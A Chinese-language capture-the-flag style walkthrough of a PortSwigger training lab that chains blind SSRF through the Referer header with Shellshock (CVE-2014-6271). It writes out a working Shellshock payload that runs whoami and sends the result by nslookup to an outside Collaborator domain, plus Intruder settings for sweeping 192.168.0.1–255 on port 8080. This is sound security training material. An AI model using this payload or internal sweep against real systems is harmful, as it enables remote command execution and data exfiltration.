PortSwigger靶场之Blind SSRF with Shellshock exploitationEXPERTLAB通关秘籍
摘要:该实验结合盲SSRF和Shellshock漏洞,通过服务器发起的内网请求窃取系统用户名。利用SSRF触发服务器向192.168.0.X:8080发送请求,在User-Agent中注入Shellshock恶意命令执行whoami,并通过DNS外带数据到Burp Collaborator获取结果。关键步骤包括:配置Collaborator扩展验证SSRF、构造Shellshock Payload
·
这个实验的核心是利用盲 SSRF(服务器端请求伪造) 结合Shellshock 漏洞,从内网服务器窃取操作系统用户名称。以下是详细原理和解决步骤:
原理分析
-
盲 SSRF 漏洞基础:目标网站的分析软件会在加载产品页面时,自动请求
Referer头中指定的 URL(由服务器端发起)。由于是 “盲” SSRF,不会直接返回结果,需通过 Burp Collaborator 等外部服务器记录交互。 -
Shellshock 漏洞的作用:这是一个影响 bashshell 的远程代码执行漏洞(CVE-2014-6271),当服务器以 bash 处理某些请求(如带有特定 User-Agent 的 HTTP 请求)时,可注入恶意命令。若内网
192.168.0.X:8080的服务器存在此漏洞,就能通过 SSRF 触发命令执行。 -
攻击链:构造含 Shellshock payload 的请求 → 利用盲 SSRF 让服务器向内网
192.168.0.X:8080发送请求 → 触发 Shellshock 执行whoami命令 → 通过 DNS 查询将结果发送到 Burp Collaborator → 从交互记录中获取用户名。
具体解决步骤
1. 配置 Burp Collaborator 和扩展
- 在 Burp Suite 专业版中,从 BApp Store 安装Collaborator Everywhere扩展(自动检测带外交互)。Collaborator Everywhere 的作用是 “自动替你在 Referer 头等位置插入 Collaborator 域名”,而 Burp Collaborator 服务器的作用是 “记录谁访问了这个域名”。

- 将实验室域名添加到 Burp 的 “目标范围”(确保扩展仅针对目标网站生效)。

2. 确认盲 SSRF 的触发点
- 访问任意产品页面,用 Burp 拦截请求(包含
Referer头,指向当前页面 URL)。 - 观察到分析软件会根据
Referer头,让服务器向指定 URL 发起请求,通过 Collaborator Everywhere 的记录验证
- 确认服务器的请求中包含
User-Agent头(后续将在此注入 Shellshock payload)。
3. 构造 Shellshock payload
- 进入 Burp 的 “Collaborator” 选项卡,点击 “Copy to clipboard” 生成唯一的 Collaborator 子域名(378e30vecs6f17262mif6t45uw0nogc5.oastify.com)。
- 构造包含命令注入的 Shellshock payload,格式如下:
() { :; }; /usr/bin/nslookup $(whoami).378e30vecs6f17262mif6t45uw0nogc5.oastify.com- 解释:
() { :; };是触发 Shellshock 的标志性前缀;whoami获取当前系统用户名;nslookup将用户名作为子域名发送到 Collaborator(通过 DNS 查询外带数据)。
- 解释:
4. 配置 Intruder 扫描内网
- 将产品页面的请求发送到 Burp Intruder,修改两个关键部分:
User-Agent头:替换为上述 Shellshock payload(注入命令)。Referer头:改为http://192.168.0.§1§:8080(§1§为占位符,用于遍历内网 IP 的最后一段)。
- 在 Intruder 的 “Payloads” 面板:
- 选择 “Numbers” 类型,设置范围为
1-255,步长1(遍历192.168.0.1到192.168.0.255)。
- 选择 “Numbers” 类型,设置范围为
5. 发起攻击并获取结果
- 启动 Intruder 攻击,服务器会向内网所有 IP 的
8080端口发送含恶意User-Agent的请求。 - 攻击结束后,进入 Burp “Collaborator” 选项卡,点击 “Poll now” 查看交互记录。
- 找到包含
whoami结果的 DNS 查询(peter-U7Hvl4.378e30vecs6f17262mif6t45uw0nogc5.oastify.com的解析记录),其中username即为内网服务器的 OS 用户名。
6. 完成实验
- 在实验室页面输入获取到的用户名,即可通关。

总结
本实验结合了三个关键点:
- 利用
Referer头触发盲 SSRF,让服务器向内网发起请求; - 借助 Shellshock 漏洞在目标内网服务器上执行命令;
- 通过 DNS 查询将敏感数据(用户名)外带到 Burp Collaborator,实现 “盲” 攻击的结果验证。核心逻辑是 “借服务器之手攻击内网,借外部服务器记录结果”。ba
更多推荐


所有评论(0)